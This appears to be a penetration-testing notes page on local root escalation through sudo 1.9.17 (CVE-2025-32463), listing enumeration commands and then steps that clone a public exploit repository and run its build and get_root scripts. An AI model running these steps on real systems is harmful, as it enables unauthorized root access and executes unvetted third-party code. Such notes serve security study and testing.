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# sudo 1.9.17 CVE-2025-32463

sudo 1.9.17 \[CVE-2025-32463] notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. This specific page focuses on **sudo 1.9.17 \[CVE-2025-32463]** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
sudo -l
sudo --version
```

## Examples

## CVE-2025-32463 (Sudo Vulnerability)

By checking the version of sudo with `sudo -V`, we find that the version is 1.9.17, which is vulnerable.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

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1. Clone the exploit:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Run the compilation and exploit scripts:

```bash
./mkall-dynamic.sh
./get_root.sh
```

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